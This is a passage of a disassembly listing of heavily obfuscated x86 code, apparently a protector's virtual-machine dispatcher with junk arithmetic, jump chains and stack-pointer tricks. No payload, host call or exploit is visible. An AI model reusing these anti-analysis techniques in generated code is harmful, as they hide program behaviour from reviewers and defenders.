		sub	ebp, 135DEFC6h
		or	edx, ebp
		pop	ebp
		jmp	loc_5A20A5
; ---------------------------------------------------------------------------


loc_59D782:				; CODE XREF: sub_57DD3A+13C50j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59D787:				; CODE XREF: sub_57DD3A+1796Bj
		mov	[esp+6+var_8+2], eax
		mov	eax, 4E6A4248h
		shr	eax, 2
		inc	eax
		jmp	loc_5A2391
; ---------------------------------------------------------------------------


loc_59D798:				; CODE XREF: sub_57DD3A+1C889j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+0Ch+var_E+2]
		xor	[esp+0Ch+var_E+2], ebp
		xor	ebp, [esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_596DAC
; ---------------------------------------------------------------------------


loc_59D7B2:				; CODE XREF: sub_57DD3A+1B0BAj
		xchg	edx, [esp+2Eh+var_2E]
		pop	esp
		mov	[esp+2Ah+var_2A], ebx
		push	edx
		jmp	loc_59B114
; ---------------------------------------------------------------------------


loc_59D7BF:				; CODE XREF: sub_57DD3A+2138Cj
		add	edi, 1FEC69E7h
		add	edi, esi
		sub	edi, 1FEC69E7h
		add	edi, 79055E78h
		jmp	loc_595381
; ---------------------------------------------------------------------------


loc_59D7D8:				; CODE XREF: sub_57DD3A+10ED7j
		pop	edx
		inc	edx
		jmp	loc_59240D
; ---------------------------------------------------------------------------


loc_59D7DF:				; CODE XREF: sub_57DD3A+234DFj
		shr	ecx, 6
		push	ebx
		mov	ebx, 60454972h
		jmp	loc_594CC0
; ---------------------------------------------------------------------------


loc_59D7ED:				; CODE XREF: sub_57DD3A+146A3j
		mov	ch, dl
		mov	bl, ch
		pop	ecx
		mov	al, bl
		jmp	loc_59F849
; ---------------------------------------------------------------------------


loc_59D7F9:				; CODE XREF: sub_57DD3A+2433Aj
		xor	bl, 0F5h
		xor	dl, bl
		pop	ebx
		push	12B1h
		mov	[esp+2Ch+var_2E+2], ecx
		mov	ch, dl
		jmp	loc_598F80
; ---------------------------------------------------------------------------


loc_59D80E:				; CODE XREF: sub_57DD3A+16E8Dj
		push	3C45BE9h
		pop	esi
		jmp	loc_593F3A
; ---------------------------------------------------------------------------


loc_59D819:				; CODE XREF: sub_57DD3A+14CCCj
		add	edx, 4
		jmp	loc_59C55F
; ---------------------------------------------------------------------------


loc_59D821:				; CODE XREF: sub_57DD3A+1B936j
		sub	esp, 4
		mov	[esp+62h+var_64+2], edi
		jmp	loc_5A148F
; ---------------------------------------------------------------------------


loc_59D82C:				; CODE XREF: sub_57DD3A+12EE2j
		sub	eax, 0B528AFEFh
		add	edi, eax
		pop	eax
		xchg	edi, [esp+50h+var_50]
		pop	esp
		sub	edx, ecx
		pop	ecx
		and	ecx, edx
		mov	edx, [esp+0]
		push	esi
		mov	esi, esp
		push	1F24h
		mov	[esp+50h+var_50], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		shr	ecx, 0
		jmp	loc_5A2F96
; ---------------------------------------------------------------------------


loc_59D867:				; CODE XREF: sub_57DD3A+11E52j
		mov	ebp, 5BAC45ABh
		xor	esi, ebp
		pop	ebp
		sub	edi, 28760953h
		add	edi, esi
		add	edi, 28760953h
		pop	esi
		add	edi, 4
		xchg	edi, [esp+36h+var_36]
		pop	esp
		jmp	loc_597A4C
; ---------------------------------------------------------------------------


loc_59D88A:				; CODE XREF: sub_57DD3A+1C2C2j
		pop	edi
		add	esp, 4
		push	edx
		mov	edx, 251628E4h
		sub	esi, edx
		pop	edx
		add	esi, 4E666CB8h
		add	esi, ebx
		jmp	loc_591753
; ---------------------------------------------------------------------------


loc_59D8A4:				; CODE XREF: sub_57DD3A+14C4Bj
		pop	esp
		jmp	loc_59A14E
; ---------------------------------------------------------------------------


loc_59D8AA:				; CODE XREF: sub_57DD3A+1D08Cj
		add	edi, ebp
		mov	ebp, [esp+0]
		add	esp, 4
		push	eax
		mov	eax, 2
		sub	edi, 6C63DC5h
		add	edi, eax
		push	eax
		mov	eax, 0C09615Dh
		add	eax, 3D845AAAh
		add	eax, 0BD3881BEh
		add	edi, eax
		pop	eax
		pop	eax
		xor	edi, [esp-6+arg_0+2]
		xor	[esp-6+arg_0+2], edi
		jmp	loc_59C4AD
; ---------------------------------------------------------------------------


loc_59D8E2:				; CODE XREF: sub_57DD3A+10BA0j
		push	ecx
		mov	cl, 72h
		or	cl, 3Ah
		shr	cl, 2
		dec	cl
		push	1440h
		mov	[esp+0], ebx
		jmp	loc_599996
; ---------------------------------------------------------------------------


loc_59D8FA:				; CODE XREF: sub_57DD3A+10D4Cj
		sub	edx, eax
		add	edx, 24144087h
		add	edx, 6B616F0h
		push	[esp+1Ch+var_1E+2]
		pop	eax
		jmp	loc_595E13
; ---------------------------------------------------------------------------


loc_59D911:				; CODE XREF: sub_57DD3A+1E79Ej
		mov	cl, bl
		mov	ebx, [esp+4Eh+var_50+2]
		jmp	loc_5937A4
; ---------------------------------------------------------------------------


loc_59D91B:				; CODE XREF: sub_57DD3A+22DEFj
		sub	edi, 291203B7h
		add	edi, edx
		add	edi, 291203B7h
		add	edi, 2276601Fh
		mov	edx, [esp+4Eh+var_50+2]
		jmp	loc_5910EC
; ---------------------------------------------------------------------------


loc_59D937:				; CODE XREF: sub_57DD3A+221BCj
		xor	ecx, [esp+4Eh+var_50+2]
		pop	esp
		jmp	loc_5A083A
; ---------------------------------------------------------------------------


loc_59D940:				; CODE XREF: sub_57DD3A+1EFEEj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+18h+var_1A+2]
		pop	esp
		jmp	loc_59B480
; ---------------------------------------------------------------------------


loc_59D955:				; DATA XREF: sub_57DD3A+10356o
		push	esi
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_590EB5
; ---------------------------------------------------------------------------


loc_59D96A:				; CODE XREF: sub_57DD3A+120C3j
		add	ebp, 593E3B47h
		add	ebx, ebp
		jmp	loc_5A1456
; ---------------------------------------------------------------------------


loc_59D977:				; CODE XREF: sub_57DD3A+1A270j
		mov	ecx, [esp+60h+var_60]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+64h+var_64]
		jmp	loc_594BA8
; ---------------------------------------------------------------------------


loc_59D98D:				; CODE XREF: sub_57DD3A+20298j
		mov	ecx, 6C273FCEh
		sub	esp, 4
		mov	[esp+68h+var_68], ecx
		xor	[esp+68h+var_68], 1718417Eh
		pop	ebx
		push	eax
		mov	eax, 631056F9h
		jmp	loc_5960ED
; ---------------------------------------------------------------------------


loc_59D9AE:				; CODE XREF: sub_57DD3A+23157j
		push	eax
		mov	eax, 65F24F5Bh
		sub	eax, 1
		jmp	loc_59BD38
; ---------------------------------------------------------------------------
		push	[esp+6Ch+var_6C]
		jmp	loc_5982C8
; ---------------------------------------------------------------------------


loc_59D9C4:				; CODE XREF: sub_57DD3A+21326j
		dec	edi
		not	edi
		and	edi, 4C4F6C7Eh
		add	edi, 1
		shr	edi, 3
		sub	edi, 0B1E96F35h
		mov	ebx, edi
		pop	edi
		shr	ebx, 7
		sub	esp, 4
		mov	[esp+70h+var_70], eax
		push	ecx
		mov	ecx, 48A65FF6h
		mov	eax, ecx
		pop	ecx
		sub	eax, 79C35326h
		and	eax, 63602FC8h
		or	eax, 46C5503Bh
		sub	eax, 0FBA82AC3h
		and	ebx, eax
		pop	eax
		neg	ebx
		jmp	loc_5A0766
; ---------------------------------------------------------------------------


loc_59DA0C:				; CODE XREF: sub_57DD3A+16311j
		or	esi, 26937327h
		inc	esi
		sub	esi, 0C78503Fh
		jmp	loc_595B2F
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+22h+var_22]
		push	2482h
		mov	[esp+26h+var_26], esi
		jmp	loc_594D13
; ---------------------------------------------------------------------------


loc_59DA2F:				; CODE XREF: sub_57DD3A+1B5B7j
		sub	esp, 4
		mov	[esp+34h+var_36+2], ebx
		mov	ebx, 47454A24h
		shl	ebx, 4
		push	eax
		push	ecx
		mov	ecx, 48F65608h
		push	ebp
		jmp	loc_599062
; ---------------------------------------------------------------------------


loc_59DA4D:				; CODE XREF: sub_57DD3A+1F693j
		push	ebp
		xor	[esp+8+var_8], esi
		xor	esi, [esp+8+var_8]
		xor	[esp+8+var_8], esi
		not	esi
		jmp	loc_5904C3
; ---------------------------------------------------------------------------


loc_59DA5E:				; CODE XREF: sub_57DD3A+24849j
		mov	esi, 57B03DD4h
		xor	esi, 5A6A38A8h
		sub	eax, esi
		jmp	loc_5A17D2
; ---------------------------------------------------------------------------


loc_59DA70:				; CODE XREF: sub_57DD3A+13135j
		add	al, 0D3h
		push	[esp+5Ch+var_5C]
		pop	ecx
		push	edi
		jmp	loc_5927EE
; ---------------------------------------------------------------------------


loc_59DA7C:				; CODE XREF: sub_57DD3A+12C68j
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ch+var_E+2], ebp
		push	[esp+0Ch+var_8]
		jmp	loc_592D89
; ---------------------------------------------------------------------------


loc_59DA91:				; CODE XREF: sub_57DD3A+21752j
		xor	esi, eax
		pop	eax
		push	4647h
		jmp	loc_596159
; ---------------------------------------------------------------------------


loc_59DA9E:				; CODE XREF: sub_57DD3A+109D0j
		inc	ecx
		inc	ecx
		push	edi
		mov	edi, 6B141E7Dh
		or	edi, 4B937D93h
		xor	edi, 22B209C0h
		or	edi, 36A23461h
		or	edi, 69AD4F0Ah
		add	edi, 4D1340D6h
		xor	edi, 2B3378h
		add	ecx, edi
		pop	edi
		add	edi, ecx
		pop	ecx
		add	edi, 2
		xchg	edi, [esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_59974E
; ---------------------------------------------------------------------------


loc_59DADC:				; CODE XREF: sub_57DD3A+24DCCj
		xor	ecx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		shr	[esp+8+var_8], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	dword ptr [esp], cl
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59DAFA:				; CODE XREF: sub_57DD3A+1F9DCj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		push	419866D9h
		jmp	loc_59C6F3
; ---------------------------------------------------------------------------


loc_59DB0B:				; CODE XREF: sub_57DD3A+1E5C2j
		xchg	ebp, [esp-16h+arg_12]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_5A0030
; ---------------------------------------------------------------------------


loc_59DB17:				; CODE XREF: sub_57DD3A+16D14j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59C8A9
; ---------------------------------------------------------------------------


loc_59DB24:				; CODE XREF: sub_57DD3A+136CEj
		mov	esp, [esp+1Ah+var_1A]
		mov	[esp+1Ah+var_1A], ebp
		push	edx
		push	76A7h
		mov	[esp+22h+var_22], esi
		mov	esi, ebx
		mov	edx, esi
		jmp	loc_595167
; ---------------------------------------------------------------------------


loc_59DB3C:				; CODE XREF: sub_57DD3A+1D4A7j
		push	edx
		push	507Bh
		jmp	loc_58E39F
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+52h+var_54+2]
		push	6A91h
		mov	[esp+56h+var_58+2], ecx
		push	esp
		mov	ecx, [esp+5Ah+var_5C+2]
		add	esp, 4
		jmp	loc_59F4C0
; ---------------------------------------------------------------------------


loc_59DB62:				; CODE XREF: sub_57DD3A+177FFj
		xor	dword ptr [esp+0], 2CCC0721h
		jmp	loc_5949BE
; ---------------------------------------------------------------------------


loc_59DB6E:				; CODE XREF: sub_57DD3A+1EA24j
		inc	esi
		jmp	loc_596A64
; ---------------------------------------------------------------------------


loc_59DB74:				; CODE XREF: sub_57DD3A+254B9j
		dec	ch
		add	ch, 0C1h
		xor	ch, 6Bh
		jmp	loc_595F22
; ---------------------------------------------------------------------------


loc_59DB81:				; CODE XREF: sub_57DD3A+1F853j
		sub	esi, eax
		mov	eax, [esp+0Ch+var_E+2]
		add	esp, 4
		push	esi
		push	[esp+0Ch+var_8]
		pop	esi
		pop	[esp+0Ch+var_E+2]
		pop	esp
		push	52Bh
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		jmp	loc_593A74
; ---------------------------------------------------------------------------


loc_59DBA7:				; CODE XREF: sub_57DD3A+1F9D6j
		pop	ebx
		add	esp, 4
		mov	edx, [esp+52h+var_54+2]
		add	esp, 4
		add	eax, 2
		push	528Ch
		mov	[esp+52h+var_54+2], eax
		jmp	loc_5A064F
; ---------------------------------------------------------------------------


loc_59DBC4:				; CODE XREF: sub_57DD3A+159D7j
		push	edi
		jmp	loc_5983A0
; ---------------------------------------------------------------------------


loc_59DBCA:				; CODE XREF: sub_57DD3A+17B5Bj
		pop	ebx
		sub	eax, 577C7843h
		sub	ebp, eax
		pop	eax
		jmp	loc_59EBD9
; ---------------------------------------------------------------------------


loc_59DBD8:				; CODE XREF: sub_57DD3A+116B1j
		push	edi
		push	4C11912h
		pop	edi
		push	eax
		mov	eax, 419C3F1Fh
		inc	eax
		xor	eax, 6938470Ah
		sub	eax, 0C2E19009h
		add	edi, eax
		pop	eax
		mov	ebp, edi
		pop	edi
		xor	ebp, 366C2980h
		sub	edx, ebp
		pop	ebp
		add	edx, 62776A60h
		sub	edx, ebx
		sub	edx, 62776A60h
		add	edx, 5CE828B3h
		sub	edx, 1A41ACEh
		mov	ebx, [esp+3Ch+var_3E+2]
		add	esp, 4
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59DC27:				; CODE XREF: sub_57DD3A+14DF7j
		xor	edi, 18EA756Eh
		push	eax
		jmp	loc_5944AB
; ---------------------------------------------------------------------------


loc_59DC33:				; CODE XREF: sub_57DD3A+1DEBBj
		push	74350343h
		jmp	loc_58EA37
; ---------------------------------------------------------------------------


loc_59DC3D:				; CODE XREF: sub_57DD3A+13E2Ej
		xor	[esp+20h+var_1E+2], edi
		jmp	loc_5935DE
; ---------------------------------------------------------------------------


loc_59DC46:				; CODE XREF: sub_57DD3A+1AB31j
		pop	esp
		mov	[esp+42h+var_42], esi
		push	ebx
		pop	esi
		mov	eax, esi
		jmp	loc_5A1E2F
; ---------------------------------------------------------------------------


loc_59DC53:				; CODE XREF: sub_57DD3A+19592j
		push	1B58h
		mov	[esp+3Eh+var_3E], edx
		mov	edx, esp
		push	ebp
		push	ecx
		mov	ecx, 452D7CC3h
		mov	ebp, 90E9F799h
		sub	ebp, ecx
		pop	ecx
		push	46A2h
		mov	[esp+46h+var_46], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	[esp+4Ah+var_46]
		pop	esi
		pop	[esp+4Ah+var_4C+2]
		mov	esp, [esp+46h+var_46]
		mov	[esp+46h+var_46], edx
		mov	edx, 320807AAh
		shr	edx, 7
		xor	edx, 19432C0Dh
		jmp	loc_5A0486
; ---------------------------------------------------------------------------


loc_59DCA1:				; CODE XREF: sub_57DD3A+20005j
		mov	edi, [esp+46h+var_46]
		add	esp, 4
		xor	esi, 754268F0h
		neg	esi
		shl	esi, 7
		xor	esi, 0F078A000h
		and	eax, esi
		push	[esp+42h+var_42]
		push	[esp+46h+var_46]
		pop	esi
		add	esp, 4
		push	5BA1h
		mov	[esp+46h+var_46], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_598EDD
; ---------------------------------------------------------------------------


loc_59DCDC:				; CODE XREF: sub_57DD3A+148D0j
		sub	ebx, 4E853C4Ch
		add	ebx, eax
		add	ebx, 4E853C4Ch
		pop	eax
		xchg	ebx, [esp+20h+var_22+2]
		pop	esp
		jmp	loc_59137B
; ---------------------------------------------------------------------------


loc_59DCF4:				; CODE XREF: sub_57DD3A+16FC0j
		add	eax, 63D137Bh
		push	esi
		jmp	loc_59C425
; ---------------------------------------------------------------------------


loc_59DCFF:				; CODE XREF: sub_57DD3A+16AD6j
		pop	ebx
		jmp	loc_58F09A
; ---------------------------------------------------------------------------


loc_59DD05:				; CODE XREF: sub_57DD3A+20580j
		mov	edx, 10394A18h
		not	edx
		add	edx, 1D5A5A74h
		jmp	loc_594229
; ---------------------------------------------------------------------------


loc_59DD17:				; CODE XREF: sub_57DD3A+22D81j
		push	ebx
		mov	ebx, 47B05EABh
		shl	ebx, 5
		xor	ebx, 37F3082Eh
		xchg	ebp, ebx
		not	ebp
		xchg	ebp, ebx
		sub	ebx, 6E455289h
		sub	ebx, 8731511Ah
		jmp	loc_5A0986
; ---------------------------------------------------------------------------


loc_59DD3D:				; CODE XREF: sub_57DD3A+1B28Fj
		mov	esi, edi
		jmp	loc_59DCA1
; ---------------------------------------------------------------------------


loc_59DD44:				; CODE XREF: sub_57DD3A+12B00j
		pop	ecx
		mov	ebx, ecx
		pop	ecx
		add	esi, ebx
		jmp	loc_597052
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A0F66
; ---------------------------------------------------------------------------


loc_59DD61:				; CODE XREF: sub_57DD3A+1D63Ej
		mov	bx, word ptr [esp+4Ah+var_4C+2]
		push	esi
		push	esp
		push	[esp+52h+var_54+2]
		pop	esi
		add	esp, 4
		push	eax
		mov	eax, 2FBF31C2h
		jmp	loc_594296
; ---------------------------------------------------------------------------


loc_59DD7C:				; CODE XREF: sub_57DD3A+24634j
		push	0ADEh
		mov	[esp+56h+var_58+2], edx
		mov	dl, 4Fh
		jmp	loc_59E95D
; ---------------------------------------------------------------------------


loc_59DD8B:				; CODE XREF: sub_57DD3A+1D261j
		add	ebx, edi
		pop	edi
		push	ecx
		jmp	loc_59AC40
; ---------------------------------------------------------------------------


loc_59DD94:				; CODE XREF: sub_57DD3A+177EAj
		sub	eax, edi
		jmp	loc_5917DA
; ---------------------------------------------------------------------------


loc_59DD9B:				; CODE XREF: sub_57DD3A+22299j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59DDA0:				; CODE XREF: sub_57DD3A+13CEEj
		xor	[esp+12h+var_12], ebx
		xor	ebx, [esp+12h+var_12]
		pop	esp
		sub	eax, 547208B5h
		add	eax, edx
		add	eax, 547208B5h
		push	ecx
		mov	ecx, 3C5830C1h
		shr	ecx, 6
		and	ecx, 7E341F86h
		jmp	loc_58F69B
; ---------------------------------------------------------------------------


loc_59DDC7:				; CODE XREF: sub_57DD3A+21ECEj
		sub	ebp, 52242113h
		sub	ebp, 60C97E22h
		mov	edi, ebp
		jmp	loc_58F41C
; ---------------------------------------------------------------------------


loc_59DDDA:				; CODE XREF: sub_57DD3A+17DE5j
		mov	edi, [esp+18h+var_1A+2]
		add	esp, 4
		add	ecx, edx
		pop	edx
		push	126Fh
		mov	[esp+14h+var_16+2], edx
		push	ebp
		mov	ebp, 2
		mov	edx, ebp
		jmp	loc_59640C
; ---------------------------------------------------------------------------


loc_59DDF8:				; CODE XREF: sub_57DD3A+11785j
		pop	eax
		sub	al, dh
		mov	edx, [esp+50h+var_50]
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+54h+var_54]
		jmp	loc_596AB3
; ---------------------------------------------------------------------------


loc_59DE1A:				; CODE XREF: sub_57DD3A+1F330j
		mov	esp, [esp+4+var_4]
		jmp	loc_597776
; ---------------------------------------------------------------------------


loc_59DE22:				; CODE XREF: sub_57DD3A+24B15j
		push	eax
		jmp	loc_599DD9
; ---------------------------------------------------------------------------


loc_59DE28:				; CODE XREF: sub_57DD3A+17CC7j
		mov	ecx, esp
		jmp	loc_59D097
; ---------------------------------------------------------------------------


loc_59DE2F:				; CODE XREF: sub_57DD3A+114E3j
		mov	[esp+10h+var_12+2], ecx
		jmp	loc_59FD54
; ---------------------------------------------------------------------------


loc_59DE37:				; CODE XREF: sub_57DD3A+123DEj
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 6DEB362Eh
		push	eax
		mov	eax, 69BE629Ch
		inc	eax
		shr	eax, 5
		shl	eax, 8
		jmp	loc_59FC25
; ---------------------------------------------------------------------------


loc_59DE52:				; CODE XREF: sub_57DD3A+13AE9j
		sub	[esp+58h+var_54], 46E5EEDh
		pop	esi
		push	[esp+54h+var_54]
		mov	ebx, [esp+58h+var_58]
		jmp	loc_5A0877
; ---------------------------------------------------------------------------


loc_59DE66:				; CODE XREF: sub_57DD3A+21BD7j
		pop	esp
		mov	[esp+54h+var_54], esi
		push	ebx
		mov	ebx, 2D9449Ah
		inc	ebx
		not	ebx
		add	ebx, 2D944A0h
		mov	esi, ebx
		mov	ebx, [esp+58h+var_58]
		add	esp, 4
		add	ebx, 5F734CA3h
		push	7FA3h
		mov	[esp+58h+var_58], edi
		mov	edi, 6CB86E41h
		or	edi, 73D5646Fh
		shl	edi, 4
		shl	edi, 4
		neg	edi
		shl	edi, 4
		push	edx
		mov	edx, 42EF2698h
		shl	edx, 1
		push	ebp
		mov	ebp, 593C20ECh
		or	ebp, 0DB74ECBh
		not	ebp
		jmp	loc_59CBAF
; ---------------------------------------------------------------------------


loc_59DEC3:				; CODE XREF: sub_57DD3A+1CFCFj
		pop	ecx
		mov	edx, edi
		pop	edi
		mov	ebp, [esp+50h+var_50]
		jmp	loc_594CEA
; ---------------------------------------------------------------------------


loc_59DECF:				; CODE XREF: sub_57DD3A+19A0Aj
		add	ecx, 68991788h
		pop	ebx
		sub	ecx, 4
		jmp	loc_59C1A8
; ---------------------------------------------------------------------------


loc_59DEDE:				; CODE XREF: sub_57DD3A+23C20j
		pop	esp
		add	ebx, 4
		push	eax
		jmp	loc_592331
; ---------------------------------------------------------------------------


loc_59DEEB:				; CODE XREF: sub_57DD3A+12E18j
		push	[esp+5Ch+var_58]
		mov	esi, [esp+60h+var_60]
		add	esp, 4
		pop	[esp+5Ch+var_5C]
		mov	esp, [esp+58h+var_58]
		mov	cx, word ptr [esp+58h+var_58]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp+60h+var_60], ebx
		mov	ebx, 4
		sub	edi, 1D744330h
		sub	edi, 0DC55B6Ch
		add	edi, 1A7902B2h
		jmp	loc_59C980
; ---------------------------------------------------------------------------


loc_59DF27:				; CODE XREF: sub_57DD3A+2437Aj
		push	esi
		mov	esi, esp
		push	ebx
		jmp	loc_59BF95
; ---------------------------------------------------------------------------


loc_59DF30:				; CODE XREF: sub_57DD3A+15A84j
		mov	edi, ebp
		pop	ebp
		add	eax, edi
		mov	edi, [esp+8+var_8]
		jmp	loc_5A0885
; ---------------------------------------------------------------------------


loc_59DF3D:				; CODE XREF: sub_57DD3A+15541j
		add	ecx, 4
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_597FA9
; ---------------------------------------------------------------------------


loc_59DF48:				; CODE XREF: sub_57DD3A+1D75Bj
		pop	esi
		and	eax, ecx
		jmp	loc_594E05
; ---------------------------------------------------------------------------


loc_59DF50:				; CODE XREF: sub_57DD3A+1CB8Bj
		push	esi
		mov	esi, esp
		add	esi, 4
		push	33CAh
		mov	[esp+3Ah+var_3A], edx
		push	edi
		mov	edi, 7BF3280Bh
		xor	edi, 7BF3280Fh
		mov	edx, edi
		pop	edi
		add	esi, edx
		mov	edx, [esp+3Ah+var_3A]
		add	esp, 4
		push	esi
		push	[esp+3Ah+var_36]
		pop	esi
		pop	[esp+3Ah+var_3A]
		pop	esp
		jmp	loc_59E27F
; ---------------------------------------------------------------------------


loc_59DF87:				; CODE XREF: sub_57DD3A+16721j
		xor	dl, cl
		xor	cl, dl
		xor	dl, cl
		sub	dl, 48h
		add	al, dl
		pop	edx
		push	small 5BA8h
		jmp	loc_590753
; ---------------------------------------------------------------------------


loc_59DF9C:				; CODE XREF: sub_57DD3A+20994j
		sub	esp, 4
		jmp	loc_5977BE
; ---------------------------------------------------------------------------


loc_59DFA4:				; CODE XREF: sub_57DD3A+205A9j
		pop	ebx
		push	eax
		add	[esp+50h+var_50], 40395871h
		pop	ebx
		jmp	loc_5A127F
; ---------------------------------------------------------------------------


loc_59DFB3:				; CODE XREF: sub_57DD3A+184F8j
		mov	ecx, 0
		jmp	loc_594050
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0Ch+var_E+2]
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 26565890h
		jmp	loc_59A1C6
; ---------------------------------------------------------------------------


loc_59DFCF:				; CODE XREF: sub_57DD3A+1CCC2j
		mov	[esp+14h+var_16+2], ecx
		jmp	loc_59D98D
; ---------------------------------------------------------------------------


loc_59DFD7:				; CODE XREF: sub_57DD3A+24932j
		pop	esp
		jmp	loc_59A280
; ---------------------------------------------------------------------------


loc_59DFDD:				; CODE XREF: sub_57DD3A+11FB0j
		pop	esi
		mov	esi, [esp+0Ch+var_E+2]
		push	4773h
		jmp	loc_597DEE
; ---------------------------------------------------------------------------


loc_59DFEB:				; CODE XREF: sub_57DD3A+16F88j
		mov	edi, 54237E09h
		shl	edi, 7
		xor	edi, 21F007EAh
		dec	edi
		shr	edi, 7
		add	edi, 35A28549h
		mov	esi, edi
		pop	edi
		and	ebx, esi
		pop	esi
		sub	ebx, 1FCB3E4Dh
		add	ebx, 9842A9C2h
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		mov	ecx, [esp+4Ah+var_4C+2]
		add	esp, 4
		sub	ebx, 6D076AD9h
		add	ebx, esi
		add	ebx, 6D076AD9h
		sub	ebx, 698458F0h
		pop	esi
		add	ebx, eax
		push	ebp
		mov	ebp, 282E7C2Ah
		xor	ebp, 333C0DC1h
		sub	ebx, ebp
		jmp	loc_59F09C
; ---------------------------------------------------------------------------


loc_59E04A:				; CODE XREF: sub_57DD3A+16A83j
		dec	ebp
		jmp	loc_591BD6
; ---------------------------------------------------------------------------


loc_59E050:				; CODE XREF: sub_57DD3A+122E5j
		push	edi
		mov	edi, 56C6CF58h
		xor	ebx, edi
		pop	edi
		jmp	loc_5A3051
; ---------------------------------------------------------------------------


loc_59E05E:				; CODE XREF: sub_57DD3A+21128j
		push	ebx
		mov	ebx, esp
		jmp	loc_59D464
; ---------------------------------------------------------------------------


loc_59E066:				; CODE XREF: sub_57DD3A+16C48j
		push	edx
		not	[esp+18h+var_1A+2]
		pop	edx
		add	edx, 88407F88h
		add	esi, edx
		pop	edx
		jmp	loc_59F9CE
; ---------------------------------------------------------------------------


loc_59E079:				; CODE XREF: sub_57DD3A+2336Dj
		mov	esi, 4
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		jmp	loc_59802D
; ---------------------------------------------------------------------------


loc_59E08C:				; CODE XREF: sub_57DD3A+16CC1j
		add	edi, 48666262h
		jmp	loc_59116E
; ---------------------------------------------------------------------------


loc_59E097:				; CODE XREF: sub_57DD3A+10CADj
		push	ebp
		mov	ebp, 498B05C6h
		shl	ebp, 6
		jmp	loc_58E6C5
; ---------------------------------------------------------------------------


loc_59E0A5:				; CODE XREF: sub_57DD3A+15087j
		push	edx
		mov	dh, 0A1h
		inc	dh
		shr	dh, 5
		shl	dh, 6
		jmp	loc_59CF3F
; ---------------------------------------------------------------------------


loc_59E0B5:				; CODE XREF: sub_57DD3A+250B2j
		push	edx
		push	4C70h
		jmp	loc_590024
; ---------------------------------------------------------------------------


loc_59E0C0:				; CODE XREF: sub_57DD3A+21781j
		pop	ecx
		add	ecx, 202448F2h
		pop	ebx
		and	eax, ecx
		push	[esp+22h+var_22]
		mov	ecx, [esp+26h+var_26]
		add	esp, 4
		push	56EFh
		mov	[esp+26h+var_26], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59A0A5
; ---------------------------------------------------------------------------


loc_59E0EB:				; CODE XREF: sub_57DD3A+160ACj
		xchg	edi, [esp-4+arg_0]
		jmp	loc_58F8FD
; ---------------------------------------------------------------------------


loc_59E0F3:				; CODE XREF: sub_57DD3A+1C584j
		add	ecx, esi
		pop	esi
		add	edx, ecx
		mov	ecx, [esp+26h+var_26]
		add	esp, 4
		jmp	loc_59A10E
; ---------------------------------------------------------------------------


loc_59E103:				; CODE XREF: sub_57DD3A+1D811j
		mov	[esp-6+arg_0+2], edx
		push	3127h
		jmp	loc_58F51D
; ---------------------------------------------------------------------------


loc_59E110:				; CODE XREF: sub_57DD3A+10939j
		neg	ch
		jmp	loc_5A0647
; ---------------------------------------------------------------------------


loc_59E117:				; CODE XREF: sub_57DD3A+1AD8Ej
		add	eax, ebp
		add	eax, 610E0FFFh
		pop	ebp
		jmp	loc_58FF93
; ---------------------------------------------------------------------------


loc_59E124:				; CODE XREF: sub_57DD3A+166E0j
		pop	bx
		jmp	loc_5935C8
; ---------------------------------------------------------------------------


loc_59E12B:				; CODE XREF: sub_57DD3A+17C21j
		add	edi, 0BBC5626h
		add	ebx, 70346F3Ah
		sub	ebx, edi
		jmp	loc_5A2A5D
; ---------------------------------------------------------------------------


loc_59E13E:				; CODE XREF: sub_57DD3A+12E8Cj
		sub	ebp, esi
		pop	esi
		xchg	ebp, [esp+54h+var_54]
		pop	esp
		mov	[esp+50h+var_50], edi
		push	29BFh
		jmp	loc_59317B
; ---------------------------------------------------------------------------


loc_59E152:				; CODE XREF: sub_57DD3A+1760Fj
		push	edx
		jmp	loc_59953F
; ---------------------------------------------------------------------------


loc_59E158:				; DATA XREF: sub_57DD3A+10372o
		push	[esp+68h+var_68]
		pop	eax
		push	31D8h
		mov	[esp+6Ch+var_6C], eax
		jmp	loc_599981
; ---------------------------------------------------------------------------


loc_59E169:				; CODE XREF: sub_57DD3A+1BF03j
		mov	ebp, 3B040EA0h
		add	ebx, ebp
		pop	ebp
		push	edx
		push	ebx
